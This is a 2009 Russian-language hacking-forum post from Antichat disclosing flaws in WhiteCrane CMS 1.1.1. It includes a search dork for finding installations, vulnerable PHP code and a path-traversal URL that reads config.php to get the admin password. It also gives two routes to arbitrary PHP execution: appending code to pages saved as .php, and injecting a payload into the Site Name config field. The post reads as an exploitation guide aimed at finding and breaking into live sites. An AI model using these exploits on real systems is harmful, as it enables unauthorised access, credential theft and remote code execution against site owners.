Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Уязвимости WhiteCrane (https://forum.antichat.xyz/showthread.php?t=116665)

Iceangel_ 19.04.2009 18:33

Уязвимости WhiteCrane
 
Уязвимости WhiteCrane 1.1.1 (возможно и более ранние версии)

download: http://dev.ameoto.com/whitecrane111.zip

dork: "Powered by WhiteCrane"


1) [произвольное чтение файлов] (требования: register_globals=on)

/paper/plugins/viewsource.php

разработчик не учел возможность прямого доступа к скрипту и не защитил его от несанкционированного доступа
уязвимый код:
PHP код:

function viewsrc($page$config){
    if(isset(
$_REQUEST['act']) && $_REQUEST['act'] == "View Source"){
        
$full $config["path"] . $page $config["ext"];
        if(
file_exists($full)){
            
$contents file_get_contents($full);
            
//$contents = htmlspecialchars($contents);
            
echo '<h2>View Source <span style="font-size:x-small"><a href="?page='.$page.'">back</a></span></h2>';
            echo 
'<textarea name="message" id="canvas" rows="24">'.$contents.'</textarea>';
        }
    }
}
viewsrc($page$config); 

эксплуатирование:
Читаем конфиг сайта для последующего доступа к админ панели
Код:

http://localhost/hack/white/paper/plugins/viewsource.php?act=View+Source&page=../config.php
PHP код:

$user['admin'] = '12345'//сам логин и пароль к админке 

1) [произвольное выполнение php-кода] (требования: доступ в админ панель)
эксплуатирование:
1)через правку страницы
В данной CMS страницы сохраняются с расширением .php, позволяя нам их впоследствии интерпретировать. Дописываем любой php-код к странице (пример /index.php?page=home), и обращаемся к скрипту напрямую /pages/home.php
2)через правку конфига
Значения переменных при записе в конфиг, никаким образом не фильтруется, позволяя нам выполнить произвольный php-код.
К примеру в поле Site Name: вбиваем My site'; $a=phpinfo(); //
И напрямую обращаясь к конфигу (/paper/config.php), видим результат.


Время: 01:40